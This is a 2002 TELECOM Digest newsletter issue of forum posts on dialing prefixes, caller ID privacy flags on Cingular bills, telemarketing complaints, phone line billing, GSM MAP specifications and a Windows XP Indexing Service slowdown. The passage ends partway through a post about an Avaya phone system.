Incoming Blocked Numbers (VP) Re: Wal-Mart Backs Away From DMCA Claim (John Higdon) For Sale - Quintum Gateways (Trevor McGregor) Anti-Telemarketer Script; Results (Darryl Smith) Telemarketing Satisfaction (Joey Lindstrom) All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. Articles may be used in other journals or newsgroups, provided the writer's name and the Digest are included in the fair use quote. By using -any name or email address- included herein for -any- reason other than responding to an article herein, you agree to pay a hundred dollars to the recipients of the email. WE DO NOT PERMIT NAME/EMAIL ADDRESS HARVESTING FROM THIS JOURNAL. 'SALTED' EMAIL ADDRESSES APPEAR HEREIN TO VERIFY THIS. YOU GET SUED IN SMALL CLAIMS COURT IF YOU GET CAUGHT SPAMMING OR SENDING VIRUSES. DON'T DO IT. See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- Date: Mon, 9 Dec 2002 18:19:20 -0500 From: Monty Solomon Subject: Mobile Phone Market Rebounding in 2002 - Study - Dec 9, 2002 11:27 AM (Reuters) FRAMINGHAM, Mass., Dec 9 (Reuters) - After suffering from its worst year ever in 2001, the worldwide mobile phone market is expected to show a 1.8 percent increase in shipments, to 391 million, in 2002, a study said on Monday. Looking further ahead, shipments are projected to increase to 606 million in 2006, for a compound annual growth rate of 9.5 percent, according to technology consulting and research firm IDC. The study said customers who buy phones to replace old ones will drive much of that growth, although modest growth will come from first-time buyers in newer markets like India and China. - http://finance.lycos.com/home/news/story.asp?story=30453016 ------------------------------ From: Linc Madison Subject: Re: 011+ From NANP vs. 00+ From Most of World Date: Mon, 09 Dec 2002 17:23:19 -0800 Organization: MindSpring Enterprises In article , Phil McKerracher wrote: > OK, [xenophobia is the] wrong word I agree. It's not a fear of > foreigners it's indifference. Call it arrogance. Yes, but it's not *American* arrogance in this particular instance. It is arrogance on the part of the rest of the world. In establishing the ""standards,"" the CCITT/ITU was openly hostile to anything American. They intentionally wrote ""standards"" which ignored American needs, and then accused the U.S. of being ""arrogant."" Not so in this case. The entire history of the CCITT/ITU shows its arrogant hostility towards the United States. For example, because we had the gall to have our telephone networks operated by privately held companies instead of the government-run post office, we weren't even given a vote on many issues! >> Is it ""making it hard"" for travelers to expect them to dial 011 >> instead of 00 for an international call? > Yes, it's a pain. At one stage I was travelling regularly between the > UK, US and Oz and remembering which country was 011, 0011 or 010 was > very confusing. I'm still not sure which was which. It's not always > easy to discover the correct code. And it's unnecessary. Yes, it *IS* easy to discover the correct code, in the U.S. at least. Every little town that has IDDD (which is 99+% of the country) has a page in the phone book with instructions on international calling. >> hard time coping with more mundane, and possibly risky situations, >> such as learning who has priority at a 4-way stop sign ... > Exactly! Another unnecessary, expensive and in this case dangerous > difference. No, it isn't ""unnecessary,"" nor is it ""expensive,"" nor is it ""dangerous""! Changing our four-way stops to traffic circles -- *THAT* would be unnecessary, expensive, and extremely dangerous!! If you want a situation that is truly dangerous, take a look at the traditional traffic circles in France. By law, traffic *entering* the traffic circle had right-of-way over traffic *in* or *exiting* the traffic circle. That's a recipe for wrecks and gridlock. France is in the process of changing to the international standard, that traffic entering the circle must yield to traffic already in the circle, but the mess will take years to work out, as each circle has to be re-signed individually. For that matter, when is the U.K. going to change over to the international standard that says that you drive on the right side of the road? That is a difference that is ""unnecessary, expensive, and dangerous."" How many accidents are caused every year by people from right-drive countries in driving left-drive countries, or vice-versa? >> If anyone is going to change, it could be argued that 011 was >> established as an IDDD prefix standard (an international standard, >> let's add!) long before 00 gained popularity and that therefore >> Europe should adopt 011. > I don't follow the bit about it being an international standard, United States, Canada, Bahamas, Jamaica, Bermuda, British Virgin Islands, Dominican Republic, Dominica, St. Vincent and the Grenadines, Montserrat -- 19 countries and separate territories in all. I'd call that ""international,"" but Europe seems to view it as simply ""America."" > but I've got no problem whatever with adopting any particular code. > We've already changed IDD and emergency numbers in the UK (and just > about every other number as well!). I imagine there are practical > reasons for the choice of 00 over 011, and I admit that it's quite > possible that these same practical reasons prevent the Merkins doing > the opposite change. But that's not what the original rant was about. It would be absurd for the UK to change IDDD codes to 011, due to the conflict with 0113 through 0119 domestic area codes. You would be able to dial anywhere in the NANP, Africa, Greenland, Aruba, and the Faeroe Islands. All other calls would be intercepted with a recording saying something like, ""For Reading, press 1. For China, press 2."" However, it's not exactly sensible to argue that North America should change to 00 just because of some johnny-come-lately ""international standard."" In any case, if you want to talk about American arrogance in rejecting a legitimate international standard, let's talk about the Metric System, especially since we felt a bizarre compulsion to invent our own fluid ounce and gallon. (One gallon is approximately 3.875 liters, that being 128 fluid ounces of exactly 29.5735 ml each.) We even have two versions of the inch for different applications. (By law, the United States adopted the Metric System over 200 years ago, but common practice hasn't quite caught up.) ------------------------------ From: Linc Madison Subject: Re: Carrier Lookup Date: Mon, 09 Dec 2002 17:32:14 -0800 Organization: LincMad.com Consulting Reply-To: Telecom@LincMad.com In article , Robert Woolley wrote: > On Thu, 05 Dec 2002 02:24:54 -0800, Linc Madison > wrote: >> As for the UK, a previous response indicated that they already have >> full portability of wireless numbers, leaving no easy way to tell the >> carrier. For obvious reasons (separate area code ranges), the UK does >> not and will not have portability between wireless and landline >> carriers. > The lack of wireless/landline is more to do with the vastly differing > charge rates involved. Are all calls to cellular area codes charged at exactly the same rates? I thought there were differences, in which case, one might get a phone from the carrier with the lowest cost for calls from a landline to the mobile, and then switch the service to the carrier with the lowest cost for outgoing calls from the mobile. www dot LincMad dot com / Telecom at LincMad dot com Linc Madison * San Francisco, California ------------------------------ From: Linc Madison Subject: Re: Cingular Reveals Incoming Blocked Numbers Date: Mon, 09 Dec 2002 17:42:43 -0800 Organization: LincMad.com Consulting Reply-To: Telecom@LincMad.com In article , Monty Solomon wrote: > [Bills from Cingular Wireless now show the phone number on incoming > calls, even if Caller ID was blocked on the call.] > How is the Cingular switch getting access to the blocked incoming > phone number? > Is it legal for them to acquire and then disseminate blocked > phone numbers? Your caller ID information is sent with every call, unless there is a glitch in the transmission path resulting in dropped data. Making a call with caller ID ""blocked"" just means that a ""privacy flag"" is set, indicating that the caller ID data should not be displayed. When you call a toll-free number, the owner of the number gets to see it on their monthly bill, even if caller ID was ""blocked"" on that call. The rationale is that the toll-free owner is paying for the call, so they have the right to know what they paid for. That logic gets a little bit blurry with a cellphone, especially with things like ""unlimited nights and weekends."" However, I doubt that they did anything outright illegal in releasing that information. If you're really concerned about it, you could always write to the FCC and/or to Cingular, suggesting that the bill just show ""Private number"" (or some such) on calls with caller ID blocked. www dot LincMad dot com / Telecom at LincMad dot com Linc Madison * San Francisco, California ------------------------------ From: John Higdon Subject: Re: Cingular Reveals Incoming Blocked Numbers Organization: Green Hills and Cows Date: Mon, 09 Dec 2002 13:23:10 -0800 In article , Monty Solomon wrote: > This is a nice feature, except that incoming blocked numbers are also > appearing on the bill. This means that my blocked numbers are > probably showing up on someone else's Cingular Wireless bill. I think that anyone paying for a call (the cellular phone user) has a right to know who is running up his bill. > Has anyone else here noticed this behavior? No, but now that you mention it, I'll compliment my carrier (Cingular) for providing it. > How is the Cingular switch getting access to the blocked incoming > phone number? All Caller-ID is transmitted, blocked or not. It has to be for the other CLASS features to work. If the privacy flag is sent, by agreement the destination switch shows ""private number"" or whatever. > Is it legal for them to acquire and then disseminate blocked > phone numbers? Yep, as long as they don't display it on the phone. Wireless carriers operate under a different set of rules than landline carriers. For one thing, customers pay for all calls, incoming or outgoing. John Higdon | Email Address Valid | SF: +1 415 428-COWS +1 408 264 4115 | Anytown, USA | FAX: +1 408 264 4407 ------------------------------ From: Paul A Lee Subject: Re: Cingular Reveals Incoming Blocked Numbers Date: Tue, 10 Dec 2002 13:04:40 -0500 Monty Solomon wrote (in part: > Cingular Wireless recently changed the format of their monthly > phone bills. > One of the changes is that the incoming phone number now appears on > the bill for each incoming call. > This is a nice feature, except that incoming blocked numbers are also > appearing on the bill. This means that my blocked numbers are > probably showing up on someone else's Cingular Wireless bill. > How is the Cingular switch getting access to the blocked incoming > phone number? > Is it legal for them to acquire and then disseminate blocked > phone numbers? The calling party's number is always sent with the call. If the privacy flag is set, it's the end office switch that blocks sending the CPN to the destination phone. With a wireless subscriber -- as with an '8YY' (""toll-free"") number -- as the call's destination, the called party gets billed for the call, or a portion of it. In that case, it seems only fair that the calling party be identified to someone who will be billed for the call. Maybe a better way for Cingular to handle it would be similar to the way some switches do anonymous call rejection, giving the calling party the choice of being rejected or unblocking CPID. Paul A Lee Voice: +1 717 730-8355 Sr Telecom Engineer [Voice & Transmission] Fax: +1 717 975-3789 Rite Aid Corporation, Telecomm, 30 Hunter Lane, Camp Hill, PA 17011-2410 [TELECOM Digest Editor's Note: But that does not work in all cases, at least with Cingular, and I doubt any cellular phone. If you *dial direct* into my Cingular phone, I get the number displayed on my screen unless you did *67, in which case I do not get it on the phone but I do get the number on the monthly bill. If, however, you dialed my home number and your call got 'delay-forwarded' (after three rings, busy or no answer) to the cell phone, I see *my own number* on the display. SWB says the call came from 'me' going to me. Cingular of course just hands out what they are given. PAT] ------------------------------ From: VP Subject: Re: Cingular Reveals Incoming Blocked Numbers Date: Tue, 10 Dec 2002 02:25:08 -0500 Monty Solomon wrote: > Cingular Wireless recently changed the format of their monthly > phone bills. > One of the changes is that the incoming phone number now appears on > the bill for each incoming call. > This is a nice feature, except that incoming blocked numbers are also > appearing on the bill. This means that my blocked numbers are > probably showing up on someone else's Cingular Wireless bill. > Has anyone else here noticed this behavior? > How is the Cingular switch getting access to the blocked incoming > phone number? > Is it legal for them to acquire and then disseminate blocked > phone numbers? When a private number makes a call, the caller id info is still sent by the originating switch (along with ani which isn't blocked). The private number is sent along with a privacy indicator which is what the terminating switch uses to cause the caller id unit to display ""private."" The actual number is held in the incoming line history block. This is how, for example you can use ""customer originated trace"" on a blocked number. When a private number calls a Cingular cell phone, at the time of the call, the phone actually says ""private."" Therefore the Cingular cell switch is interpreting the privacy indicator correctly. I noticed this phenomenon over one year ago and battled Cingular for many months over it. It got me nowhere ... I finally gave up. However, after some additional time passed it seemed to correct itself and the private numbers no longer showed up on the detailed bill. Instead, when a private number called, my OWN cell phone number showed up in the detailed bill at the date and time of the call rather than the private number.I haven't checked my itemized calls in a while. I'll have to make a note to look when I get my next bill to see if it's happening again. I wish you great success in attempting to find someone at Cingular who can not only grasp the concept of this problem let alone fix it !!! Vic ------------------------------ From: John Higdon Subject: Re: Wal-Mart Backs Away From DMCA Claim Organization: Green Hills and Cows Date: Mon, 09 Dec 2002 13:26:59 -0800 In article , Monty Solomon wrote: > But after a law clinic at the University of California at Berkeley > stepped in and said it would represent FatWallet and fight the > subpoena, Wal-Mart backed down. I think the DMCA is going to inspire a lot of ""huff-n-puff"" legal action. The Big Boys will try to intimidate little guys with threats of legal action (and they may actually file some) hoping for instant cave-in. The moment a small fry appears to have some legal resources of his own, the bully will run off. John Higdon | Email Address Valid | SF: +1 415 428-COWS +1 408 264 4115 | Anytown, USA | FAX: +1 408 264 4407 ------------------------------ From: trevormcgregor@hotmail.com (Trevor McGregor) Subject: For Sale - Quintum Gateways Date: 9 Dec 2002 14:10:43 -0800 Organization: http://groups.google.com/ If interested, please email me at trevormcgregor@hotmail.com ------------------------------ From: Darryl Smith Subject: Anti-Telemarketer Script ... Results Date: Tue, 10 Dec 2002 08:42:01 +1100 Patrick, I finally got a chance to use the telemarketer script that I forwarded to you a few weeks ago and found that it really works ... (http://www.xs4all.nl/~egbg/counterscript.html) I had some poor girl who had just finished year 12 high school ring me up as a telemarketer ... She had to be 17 or 18. Her name name was Jordie (Yes, that is the right spelling), who has been working as a telemarketer for some Melbourne company for one week -- and will be going overseas in a week before starting university. She got my number from the white pages. This one was definitely too trusting and was going to give me her home phone number in Melbourne ... The only reason she didn't was that I didn't have the full script with me, and she hung up on me when I refused to answer her questions if she gave me her number. I could tell that she did actually want to give me her number. I almost felt guilty after that... But it was fun. Darryl [TELECOM Digest Editor's Note: Some of those people are not very smart and you really should not take advantage of them. Well, 'smart' is not the right word, they are smart many times at that age, but without a lot of common sense or survival ability. We have a telemarketing firm here in Independence in the Arco Corporate Center at 9th and Laurel Streets. Almost exclusively very young people working there, and with a huge employee staff turn over. PAT] ------------------------------ From: Joey Lindstrom Date: Tue, 10 Dec 2002 09:24:06 -0700 Subject: Telemarketing Satisfaction Reply-To: joey@lairdsflooring.com We've had lots of discussions here about the joys of telemarketing ... about getting that phone call in the middle of dinner, telling you how you are a man of distinction and fine taste, and would you therefore like to buy some grotty wallet? (with apologies to Douglas Adams.) I got a call last week from someone representing the CIBC, or Canadian Imperial Bank of Commerce, of which I am already a customer: a chequing account, a Visa, and an ""Entourage"" American Express card. I was in the middle of a long distance call at the time and ... well, the call quickly degenerated into an actual shouting match, something I'd never experienced before with a telemarketer. I'll now paste in the entire email that I sent to CIBC Customer Service immediately after the call. Boy, it felt good to write it. :-) (Certain private information is redacted). ========== I am a CIBC customer, both chequing and two credit cards (Visa, Entourage). My name is Joey Lindstrom, and my telephone number is 403-XXX-XXXX. (More info to verify my identify at the end of this message) About 5 minutes ago (7:45pm MST, Tuesday December 3rd 2002), I received a phone call from a girl who identified herself as representing CIBC. She wanted to inform me of some new free credit card benefit, since I was such a good customer. I value my privacy. Before letting her start her pitch, I attempted to stop her by saying that I do not accept telemarketing calls. I sure hope you recorded this call, because her reaction was quite amazing. She actually began arguing with me, raising her voice. I tried FOUR TIMES to say ""please add my number to your DO NOT CALL list"", and she interrupted each time. Finally, after much arguing (about whether or not this was a telemarketing call - she actually told me I was jumping to conclusions), I managed to get those ten words out uninterrupted. She practically spit it back at me, saying ""well! Then you should have said 'no' when you filled out..."" and I didn't catch the rest of her sentence because I hung up on her. This is unacceptable. This woman was rude and VERY aggressive towards me. I happen to have been on a long distance call when she interrupted me with her call. She - and therefore CIBC - has no right at all to my personal time, in my home and on my phone line. I have a right to privacy and I have a (CRTC-guaranteed) right to be placed on your ""Do Not Call"" list upon request - a request she did her best to thwart (and I'm convinced she has not honoured that request). Yes, I'm a ""good customer"". I've got $13,500 worth of credit on my CIBC credit cards so obviously you must agree with that assessment. But I'm telling you now that I am going to change from ""good customer"" to ""former customer"" unless I get some satisfaction here. And to get that satisfaction, you need to do the following: 1) Assure me that you will never again attempt to contact me by telephone unless it is in order to straighten out some problem with one of my accounts (ie: payment overdue, suspected fraud, overdrawn, things of that nature). I DO NOT WANT any telemarketing calls. Ever. Don't put me on a list that expires in three years. ""Ever"" is what I mean. And let's not split hairs: offering me a ""free benefit"" is still telemarketing. Don't agree? Ask the CRTC. Regardless, *I* consider it telemarketing and I don't want those calls from you anymore. If you want to offer me any more ""free benefits"", stick the offer in my statement envelope as usual. 2) Review this incident with the girl who placed the call to me. Her behaviour was ridiculous and put you in a very bad light. Inform me of what action, if any, is taken. Your response will help me decide whether or not to keep my CIBC accounts. ===== I didn't really expect any kind of positive response other than ""oh, we're so sorry, we'll make sure it never happens again"". I just figured that the more negative feedback that a ""reputable"" company like the CIBC gets in regards to telemarketing, the better -- maybe one day they'll realize just how offensive people find it, and it'll convince them to change their ways. I did get a pretty good response, which I present for your enjoyment and/or amusement. With any luck, I've cost this girl her job. (Note the 11-digit phone number she gives for the CMA. When did we switch to 8-digit local dialing?) ===== From: Credit Card Services To: Date: 12/10/2002 07:49 AM Subject: telemarketing call from CIBC Credit Card Services (KMM280V30042L0KM) Hello Mr. Lindstrom, Thank you for your email regarding your unfortunate recent experience. We regret to learn of the difficulties you have encountered relative to your credit card account and sincerely apologize for the inconvenience caused to you by our inappropriate handling of this matter. We expect our personnel to conduct themselves in a courteous and professional manner at all times. Please be assured this is not indicative of the high level of service we are committed to providing. We can fully appreciate your frustration with regard to this phone call. We trust you will permit us another opportunity to demonstrate that we are indeed capable of providing the high level of service our cardholders have grown accustomed to. As a small token of our apology, we have credited your entourage account with $30 in entourage earnings. We have requested that your name be removed from any and all telemarketing lists we have. While it can take 2-4 months to be sure your name is removed from all of our lists, we have put a 'rush' on this request so it will be handled on a priority basis. To remove your name from other lists, you may want to contact the Canadian Marketing Association, at 416-3941-2362. We would be glad to follow up with the individual you spoke with, both to ensure they understand that their behaviour was unacceptable and to ensure they're not treating other customers the way you were treated. Unfortunately, without more detail on the offer we may not be able to be certain who you were speaking to. We're looking into who's marketing to our Select and entourage customers and hope to determine who you spoke with that way. Please be assured we take this very seriously and the individual will be advised accordingly. Your business is important to us, and we thank you for bringing this situation to our attention. Sincerely, Suzanne Credit Card Services ===== I'll tell ya, a good dose of righteous indignation can be most gratifying. :-) Joey Lindstrom - Laird's Flooring joey@lairdsflooring.com ------------------------------ TELECOM Digest is an electronic journal devoted mostly but not exclusively to telecommunications topics. It is circulated anywhere there is email, in addition to various telecom forums on a variety of networks such as Compuserve and America On Line, and other forums. It is also gatewayed to Usenet where it appears as the moderated newsgroup 'comp.dcom.telecom'. TELECOM Digest is a not-for-profit, mostly non-commercial educational service offered to the Internet by Patrick Townson. All the contents of the Digest are compilation-copyrighted. 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The landmark ruling that an article published by Dow Jones & Co (NYSE:DJ) was subject to Australian law -- because it was downloaded in Australia -- is being watched by media firms as it could set a precedent over where Internet publication occurs. - http://finance.lycos.com/home/news/story.asp?story=30464648 ------------------------------ From: PaulCoxwell@aol.com Date: Tue, 10 Dec 2002 04:59:41 EST Subject: Change to British Directory Assistance The times are a-changing for British directory assistance, or ""directory enquiries"" as the service is more commonly called in this country. The full story: http://news.bbc.co.uk/1/hi/programmes/breakfast/2560817.stm ------------------------------ From: PaulCoxwell@aol.com Date: Tue, 10 Dec 2002 05:15:51 EST Subject: Re: 911 Availability (was 011+ From NANP vs. 00+ From Most of World) >> Now, should *we* change to 911, or should America switch to 999? Or >> maybe 112? ;) > Perhaps we should wait for those parts of America which still don't > have 911 to catch up to that point first. Good point Owain. I know that when I was in Georgia a few years ago that many rural counties in the state didn't have 911. How much of America is still waiting for 911 service these days? ------------------------------ From: capricorn75@softhome.net (Ree) Subject: VoIP Billing Software For Sale Date: 10 Dec 2002 02:57:50 -0800 Organization: http://groups.google.com/ We offer Billing Software for: Call Accounting, Post-paid Billing, Prepaid Billing Prepaid Calling Card Operation and Inter-gateway Settlement You'll appreciate the price and simplicity of using! Do not hesitate to contact us at capricorn75@softhome.net ------------------------------ From: Gene S. Berkowitz Subject: Re: Fliers Will Soon Be Able to Go Online on Board Date: Tue, 10 Dec 2002 00:12:04 -0500 Organization: Applied Entropy In article , monty@roscom.com says: > By MATTHEW L. WALD > WASHINGTON - THE Internet, pervasive wherever planes land, is now > penetrating higher altitudes as well. The other ubiquitous > communications tool of travelers, the cellphone, might follow in the > cabin with some technical changes, but not immediately. On Jan. 15 > Lufthansa will begin offering Internet connections on a single Boeing > 747-400, the latest model, that flies daily between Dulles > International Airport and Frankfurt. It will offer the same service in > its Senator lounges in New York, Frankfurt and D�sseldorf. > The Internet system on the Lufthansa plane uses the most > technologically advanced communications system aloft, satellite > connection, already common on corporate jets. It employs an antenna on > the top of the plane; the type of satellite dish common on the ground > would not be practical, because it would have to be repointed as the > plane moved. The antenna can be steered electronically, and over the > Atlantic it can refocus from one satellite over North America to > another over Europe without interrupting a download, according to > Connexion by Boeing, the Boeing subsidiary that built the system. > http://www.nytimes.com/2002/12/08/travel/08rep.html Interestingly, there is no mention in the article of IrDA, which was the original medium for the ""Connexion"" between your laptop and the aircraft. Instead, it looks like wired ethernet. Harumph. I saw a Boeing mockup at the Paris air show; there was an IR transceiver staring down on the tray table, which made perfect sense, as practically every laptop has IrDA capability (though it is almost always disabled by default). Gene ------------------------------ From: John David Galt Subject: Re: Business Line vs Residential Line (in Kentucky) Date: Mon, 09 Dec 2002 22:30:28 -0800 Organization: Diogenes the Cynic Hot-Tubbing Society > Bob Travis wrote: >> It doesn't seem fair to me that a very nonpublic business should >> have to pay for a business listing. Ed Ellers wrote: > You're not paying for a business listing -- you're paying for a > telephone line for business use. It's been customary for a very long > time to charge businesses more than residential customers, in order to > make residential service more affordable. Actually there is a good reason for this practice: most of the cost of providing telephone service is physical plant, whose size is determined by peak usage. Peak usage occurs during the business day and consists almost entirely of calls to or from businesses. Thus both weekday daytime calls and business lines have always cost more, to pay for the new facilities they make necessary. It's not a ""soak the rich"" scheme. >> I want it in my name so I can use the expense as a tax deduction >> along with the money we pay for the expense of a home office. > I don't think the IRS will allow a business deduction for a > residential line, and ISTR reading somewhere that you can't even > deduct a business line if it's the only line coming into a residence. Correct, except that if you track the specific charges for which your home business is responsible, you can deduct those charges. Typically only long distance calls are deducted this way if the line is used for other things. (I'm a tax professional in my other life.) ------------------------------ From: John David Galt Subject: Re: How Good is Your Phone Directory's Area Code Map? Date: Tue, 10 Dec 2002 11:36:51 -0800 Organization: Diogenes the Cynic Hot-Tubbing Society Linc Madison wrote: > If you choose to participate in this survey, please include the > following information: > * city, state/province, and cover date of the directory (e.g., > Foo-barre, IN, September 2002) Sacramento, CA, March 2002. > * dominant LEC(s) in the directory's service area (e.g., 80% > SBC/Ameritech, 20% Verizon/GTE) 90% SBC/Pacific Bell, 10% SureWest/Roseville Telephone. > * publisher of the directory (especially if it's not the dominant LEC) SBC/Pacific Bell. I'd give this map a C-. Most of the codes for the western US are shown correctly, however the boundaries are very sloppily drawn, so there's no way to determine the code for a particular town near a boundary. The map doesn't cover the northern 2/3 of Canada, so 780 and 867 don't exist on it (nor does BC's recent overlay). And for the eastern US, several states are broken out as insets but it doesn't make them any more readable. They include a separate map showing California's LATAs which is somewhat more accurate; the boundaries aren't quite as sloppy, and it correctly says what area codes are in each LATA (except possibly the case of Dixon). But it doesn't make clear that the high-desert (Verizon) LATA exists. I'd rate both maps about equal to the ones on areacode-info.com. AC-I draws the boundaries better, but it also shows lots of area codes that don't exist and may never exist. SBC at least avoids doing that. ------------------------------ From: Holmespundit Organization: Holmespun Solutions, LLC Subject: Re: MAP (Mobile Application Part) Versions Date: Tue, 10 Dec 2002 09:51:57 -0500 > M Pires wrote: >> Hi everyone, >> Can someone please redirect me to some sort of reference on the >> differences between the MAP (Mobile Application Part) versions. By >> versions I mean MAP v1,v2 and v3. ETSI standards are not clear on >> these. Web references are preferred. >> Thank you! Holmespundit wrote to comp.dcom.telecom: >> M Pires wrote: >> My question is related to the Mobile Application Part, application >> context 3. What I want to know is, what advantages are there in >> migrating to MAP v3? Does it have anything to do with GPRS? Does GPRS >> need MAP v3? What new functionalities are available with MAP v3?? That is an interesting question, and I would like to know if its answer is documented somewhere. I suggest that you put it to the fine people at ETSI.org. They have been very helpful to me in the past. If you do then please let us know what they say. I would suggest that you clarify what your interest in MAP is. What role do you play in the network? What does ""v3"" mean to you? That might make answering your question easier. You might start by obtaining a copy of the GSM MAP specification to which you are considering an upgrade. For example, ETSI document ts_100974v070900p.pdf contains ETSI TS 100 974 V7.9.0 (2001-09) Technical Specification Digital cellular telecommunications system (Phase 2+); Mobile Application Part (MAP) Specification (3GPP TS 09.02 version 7.9.0 Release 1998). Annex E Change History, at the end of the document, might provide you with some insight into the functional improvements that were made. For example, ""s26 98-0413 09.02 6.0.0 A124 R97 F SMS interworking with GPRS 6.1.0"" and ""s26 98-0413 09.02 6.0.0 A124 2 R97 C Modification of Insert Subscriber Data and Delete Subscriber Data Procedures for GPRS 6.1.0"" BGH Holmespun Solutions, LLC www.holmespun.biz ------------------------------ From: Holmespundit Organization: Holmespun Solutions, LLC Subject: Re: Open Application Platform Date: Tue, 10 Dec 2002 08:19:59 -0500 You might take a look at http://www.openss7.org/. Christoph wrote: > Does anybody know what an ""Open Application platform"" in terms of > telecommunication is. Where I could I possibly find information on > this? BGH Holmespun Solutions, LLC www.holmespun.biz ------------------------------ From: PaulCoxwell@aol.com Date: Tue, 10 Dec 2002 06:45:35 EST Subject: Re: 011+ From NANP vs. 00+ From Most of World >> Is it ""making it hard"" for travelers to expect them to dial 011 >> instead of 00 for an international call? > Yes, it's a pain. O.K., it might make for some slip-ups, especially when someone has just stepped off the plane after a long, tiring flight, but I guess I just don't see the different IDDD prefixes as really being *that* much of a problem. > At one stage I was travelling regularly between the > UK, US and Oz and remembering which country was 011, 0011 or 010 was > very confusing. I'm still not sure which was which. U.S. = 011 Australia = 0011 U.K. = 010 (now 00) > It's not always easy to discover the correct code. And it's > unnecessary. I concede on that point. If the IDDD code isn't shown, somebody might be left with calling the local operator as the only way to find out. That wouldn't be a problem between countries sharing a language and where the number to dial for an operator is either obvious or clearly posted (e.g. U.S.A. & U.K.), but might be much more of a problem in other cases. This is clearly an instance where it pays to make inquiries *before* leaving home, although one can never cater for everything, of course. > ...going to have a >> hard time coping with more mundane, and possibly risky situations, >> such as learning who has priority at a 4-way stop sign... > Exactly! Another unnecessary, expensive and in this case dangerous > difference. True ... As American road markings and signage are far superior to those in the U.K./Europe (and probably elsewhere too), I think this is a case where the ""rest of the world"" would do well to adopt U.S. standards and practices. But that's another story, and I know of a least some fellow Brits who would disagree with me. >> If anyone is going to change, it could be argued that 011 was >> established as an IDDD prefix standard (an international standard, >> let's add!) long before 00 gained popularity and that therefore Europe >> should adopt 011. > I don't follow the bit about it being an international standard, but > I've got no problem whatever with adopting any particular code. We've Possibly not enshrined in ITU standards (I don't know), but an accepted standard in practically all countries within the NANP: U.S.A., Canada, Bermuda, Bahamas, Dominica, Virgin Islands (U.S. *and* British), Dominican Republic, etc. > already changed IDD and emergency numbers in the UK (and just about > every other number as well!). I imagine there are practical reasons > for the choice of 00 over 011, and I admit that it's quite possible > that these same practical reasons prevent the Merkins doing the > opposite change. But that's not what the original rant was about. I think that's the root of the problem. Adopting any sort of common standard means that somebody, somewhere has to change. It's a case of whether the cost and upheaval of the changes is worth it for the proposed advantages of adopting a common standard. It also depends on how efficiently changes can be carried out: I submit the fiasco over the number changes in London as an excellent example of how *not* to do it! As an aside, in the U.K. it would have been possible to adopt 011 as in IDDD prefix without any great difficulty had it been implemented a few years ago. Now that we have area codes of the form 011n, it would be much harder, of course. ------------------------------ From: Name Withheld by Moderator Date: Tue, 10 Dec 2002 08:05:41 -0500 Subject: Greetings and a Question Hi Patrick, It's been a long long time. My fault, just been so busy the past few years that I faded away from the Digest. I suppose I should start reading again. I've gone from networks back to telecom manager for about 40 offices in my company. Hope you're doing well. My question involves a personal matter. Recently my girlfriend received a message on her answering machine from an unknown caller (the caller ID said private, indicating the caller did a *67). The caller said she had been sleeping with me. My girlfriend and I have had some drama in our lives lately and she knew better. The telephone company says there's nothing they can do and that they can't trace calls like this. The police department said that since there was no threat or harassment that they couldn't get involved. My dusty knowledge from years back makes me think that this is a crime and a federal matter. Just wondering if there's anything you think we can do. I promise, no more questions like this. It's just that with your broad knowledge base, I thought you might have a helpful suggestion. Take care of yourself and I promise I'm going to start reading again. [TELECOM Digest Editor's Note: If the calling party had attempted to make a business arrangement out of it (i.e. you pay me X dollars, or do X activity, otherwise I will relate this to your girl friend) that would have been a crime. If a reasonable person thought this was the implication, it might have been a crime as well. If the calling party was attempting to disrupt or wreak havoc on your domestic life, this might also have been a crime. Maybe an attorney midst our ranks can comment further. Telco is trying very hard to stay out of these things in recent years, by offering services such as privacy manager and 'blocked number blocking' (the extent to which those services work as well as they should/could is open to much debate) so that the recipient of such calls has recourse to the caller, for filing suit or otherwise demanding some accountability. From reading your message, I take it the caller did 'nothing' other than make a rather rude, obscene phone call to your girl friend. Probably still a crime, but ... ... in view of the fact that police right now are attempting to find ways to circumvent Posse Comitatus (federal laws against it) in order to legally get the military involved in south-central Los Angeles which this past week exceeded Washington, DC as our Nation's murder and drug Capitol of the World, I think it is rather unrealistic to expect them to be of much help. I wish I had an 'in-house' criminal attorney here to whom questions like yours could be posed. Maybe one will answer anyway. I for one am *sorry* to think this incident may have harmed your personal life. :( What you might start by doing is having girl friend give you a tape of the message if such exists, and you listen to it over and over; see if any clues can be found in the voice patterns, the disconnect at the end of it, etc. Any 'special' words, or phraseology or accents, etc. PAT] ------------------------------ Date: Tue, 10 Dec 2002 00:36:05 -0800 From: Patrick Townson Subject: An Example of a Cycle Gobbler: cidaemon.exe Organization: Ixian Systems, Inc. Late Monday night I had a bit of commotion here. The Windows XP computer got very slow and sluggish, then eventually came to a complete halt. All the programs said 'not responding'. I would restart/reboot, get a couple minutes of work (sometimes not even that much) and the problem would occur again; everything would get quite slow, then grint to a halt. I was pretty sure I had a bunch of unwanted processes running in the background. My west coast friend helped walk me through it, and indeed we found that was the case. It had gotten so bad that even the three-fingered solution (control-alt-delete) would not respond without taking a minute or two to do so. My friend found that by doing 'taskmgr' at the 'run' prompt, (which did grudginly work after a minute or so of stalling) something called 'cidaemon.exe' was taking up a huge amount of CPU. We found out it was set to run automatically and was gobbling all the cycles it could find. Using the System Administration feature in 'my computer' we were able to shut it off and only run on request. It took Windows a few seconds to shut it down also, but once it was off, the computer went back to its normal speed. He then wrote the following note for the net, anyone who has this kind of slowdown problem might find it useful. > I've entered the following into my notes file. Forwarded FYI. > Annoyances.org - re: cidaemon.exe and explorer.exe (cidaemon.exe is the > name of the Indexing Service under Windows XP, and, as under previous > versions of Windows, sometimes consumes all CPU cycles; the service can > be disabled without any negative consequences) > http://www.annoyances.org/exec/forum/winxp/r1035522334 PAT ------------------------------ From: This Old Man Subject: Avaya IP Office 406 Issues Organization: Prodigy Internet http://www.prodigy.com Date: Tue, 10 Dec 2002 15:57:11 GMT Hello, We just got a new IP Office 406 system in our office in San Jose, CA. I'm in IT and will help manage the system. We have complete support from a local VAR for one year, however this is the first implementation for IP Office so they are learning, too. So far our major issues are: 1) Dial-by-name directory not delivered from Avaya. Our VAR said Avaya said maybe next week it will be ready. 2) Programming DSS buttons crashes the system. Our VAR said Avaya said this is a known problem and they are working on it. What we are trying to accomplish is, for example, I want to be able to answer the phone of my assistants extension and I want it to actually ring on my phone. On our old NEC system it was an appearance light on the phone. Our VAR said I had to use DSS, but 1) the phone does not actually ring - the line only flashes, and 2) it crashes the system, or actually 